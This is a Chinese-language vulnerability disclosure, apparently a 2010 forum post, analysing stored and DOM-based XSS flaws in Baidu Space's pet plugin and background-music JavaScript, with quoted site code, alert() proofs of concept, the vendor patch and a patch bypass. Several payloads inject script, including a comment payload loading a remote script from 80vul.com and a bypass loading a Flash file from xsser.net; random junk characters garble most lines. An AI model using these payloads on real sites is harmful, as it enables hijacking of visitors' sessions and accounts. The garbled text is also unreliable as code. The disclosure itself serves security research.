百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS. 3 t' Y4 |1 ^; X
- O' E U7 e5 D6 J/ r1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.
/ M7 K3 n+ m9 b1 |: @$ k/ t% }2.在http://hi.baidu.com/ui/scripts/pet/pet.js中 - s9 f% |8 I4 a( `5 O" q, T
- m, W9 Q5 e- M; Z4 `
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
' U; P- z7 O- r其中BdUtil.insertWBR为
9 E, N2 S" o, ffunction(text, step) {
& R1 b) U# r/ @0 f. h2 | var textarea = textAreaCache || getContainer(); n. B' R8 |5 Q
if (!textarea) { v# I4 U. A- V! x8 n5 f" f
return text;
* x, U; J& e+ {7 T; l$ S% [1 t: S# Q } * n d) y6 E% l4 W0 W* l* r
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); , z3 |) ^, {1 _" Q; R8 X+ [ _
var string = textarea.value;
u& c2 j2 y( ` var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); & G. {* z+ i" J/ f, H9 U2 x; }
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;"); 2 u! b. F4 R: D: j" h5 Z, N
return result; 5 t8 c1 n# b& X1 ^ m
}
% l+ A7 _: B- T2 v" g( I3 I0 B在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. # r3 ?$ [: J8 g4 e! L
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> 1 a; q" P0 o4 \. R
- K- S# g! w* T% ~! f2 Z4 p二:creatbgmusic() Dom-Xss Bug 1 D. P& o- L! ^8 G. l# {
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞
" P! i7 D6 ^" g" ~7 m9 U
3 d% z6 A* @% A2 m在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码: + M5 [ o0 L h* W- Z9 M8 l8 i
V Z P F! T' i4 H rfunction creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) { ) }6 M6 h" k$ s6 L' P3 R
//传入的murl赋值到bgmusic1和bgmusic2中
" Q* Y9 m2 J' p //可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1 8 w7 S* _) _" S" C
var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">"; 7 z( j# e8 S" G# U4 d
if (musicnum <= 1) {
/ |0 L2 D- m, V bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
u) V' u0 O) [. r8 h, i1 |9 P. g }
' ~% B2 s+ r2 S N" i bgmusic1 += "</OBJECT>";
: u* ]& M V+ c. n. G' h$ j. \7 [ var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; 2 Y1 P5 u: ~# c
if (musicnum <= 1) {
) _" V2 C0 n7 D" n bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
3 Z9 K. S( k7 s0 x }
# W* M; |* w# ^) u bgmusic2 += "> </EMBED>"; . Z$ m1 G7 _1 T. x: ^8 G
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>"; . x) S) D" S' A3 ]7 Q6 M z L
var bgmus = detectWMP(); 5 m9 i, A) L/ L0 M: k7 F4 z+ U, K
if (functype == "FckMusicHelper") { 6 b$ A7 Z0 C. ?, d0 s% E: t
if (bgmus.installed) { " F& I# J8 G# i* j- }
if (bgmus.type == "IE") { ! l+ o# R8 F6 V) _9 K# G" |
return bgmusic1; & Q: J& ]( A0 S8 v8 g- ~* q. Z
} else if (bgmus.type == "NS") { - Z, b8 o) `) O% \
return bgmusic2; `8 L5 {' @% `$ G& c7 p
} 0 e8 b% c X. Z* |
} else {
4 Y! D- Z" p" \5 \+ K return bgmusic3;
# z: `9 K" ~4 H+ m( m }
9 N' `# M1 Z. I1 G0 _) z } else {
! A y% y; C; L% S if (bgmus.installed) {
" l+ ~# V8 U- o8 }, L+ I //document.write 直接输出bgmusic变量 导致xss p) W, q& P! c" r0 _4 k' ~
if (bgmus.type == "IE") { ! O; N2 S: A5 H- j
document.write(bgmusic1);
8 M/ M; h8 z, ]( b3 Q# U } else if (bgmus.type == "NS") {
1 I0 g. N6 k& C9 C9 K2 { document.write(bgmusic2); 1 m* f4 r* L1 H: y1 x
}
) i! i" Z T" z. M' f6 c5 E } else {
& @0 G; t: ]# r+ k document.write(bgmusic3); 2 y; G* P* d8 u9 [$ L& q- c7 G
}
7 i- a0 O* ]" y6 w) l$ @ return ""; * R& x9 C# E" G4 ?- v
}
+ }" r1 z) z: b J8 t" k}
" o" P6 x) U8 i1 [
. v- l2 c/ z' Q在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: & x) d+ P% ^0 \. c8 m' M
4 b* e$ u% i% E3 Z
function initBlogTextForFCK(){ : ?1 f6 N4 B) g& ]( E4 _
//fck init music . `& T5 K( H; f+ k: p
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} 0 T w. i8 G) \' ~# @
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组 6 ^4 J/ ^+ c/ y; c) u
var isAutoPlay=true;
) i, u$ j* J) s$ E% l" P' ?4 \" gfor(var i=0,n=imgBox.length;i<n;i++){ //然后遍历.
" X& G* k% c7 v var img=imgBox;
5 \7 {- h0 [; @) X( Z if(img.getAttribute(’rel’)){ 3 Y1 i2 z# Z; M+ J
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc $ [9 f0 I# X. w4 A% o4 b
var musicDiv = document.createElement("SPAN");
# S k6 z/ o, ^5 r var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
- W5 s. v4 O) A( g
1 {! r6 T) G( J! x% k) }( U .......................... + F+ m9 y) m# Z. c. ]' f" X
( R+ w: i0 \" r E5 N //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来. . S5 q1 F4 ~3 v
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
% }$ V+ j! u4 I% a/ k, f shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); 2 I7 q; k- Y6 t7 X& d/ r5 o: i
musicDiv.innerHTML=shtml;
0 ~8 s" S$ x( @8 |4 I$ Z# \) y i--;n--;
8 I6 d4 T1 c& o" {5 J }
% w! N! \: R' T1 G5 n( {} 7 c& A& p" A5 \/ _2 }
3 y4 n8 r( W5 |2 f q从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS. * ], R, l( X6 }4 R4 @( F
, E2 p7 |* |3 Z( i+ l# q测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
/ s4 _ L; I, o% ^3 b+ x- b! P, G
+ A H; u# _( ]( @- D等待官方补丁
7 J: ^" R; p" ?- R: n( l6 b- w
R, u7 S0 N: y) F1 J1 z4 ^* cupdate 2010年5月13日 2 m2 U$ z" ?' p7 W
" \2 ?1 t1 x" ?# C m) H$ W
官方补丁:
& U7 G n1 s( ?7 U% C s' G; _7 x- Z1 e
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); 7 E# @- ^, x6 ^6 X
改为: 3 z) I& |3 K: x/ u; P6 R: w
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’); * F: V% b) s; ]! W3 h o, b
# U5 J2 h* [* _update 2010年5月13日 21:50:37 , N6 O- Y) \% T: j7 k) J
" Z2 g! A( z& r# ?9 x. Y# k补丁存在漏洞 没有过滤" 可以继续跨:
E- [5 N+ v+ s2 y+ j' {
& Z I2 j. a2 t9 ~+ KNEW POC:
: ^# C4 \' {; \7 J! g" M& h4 b; F- s L q- b: ?
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" 8 @1 @, i+ B+ h
, s3 q- [; Q! m
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>: T# z+ Q0 r4 J1 b' ^
( T2 Z. |8 N8 G, q8 O$ Z; t! D* m |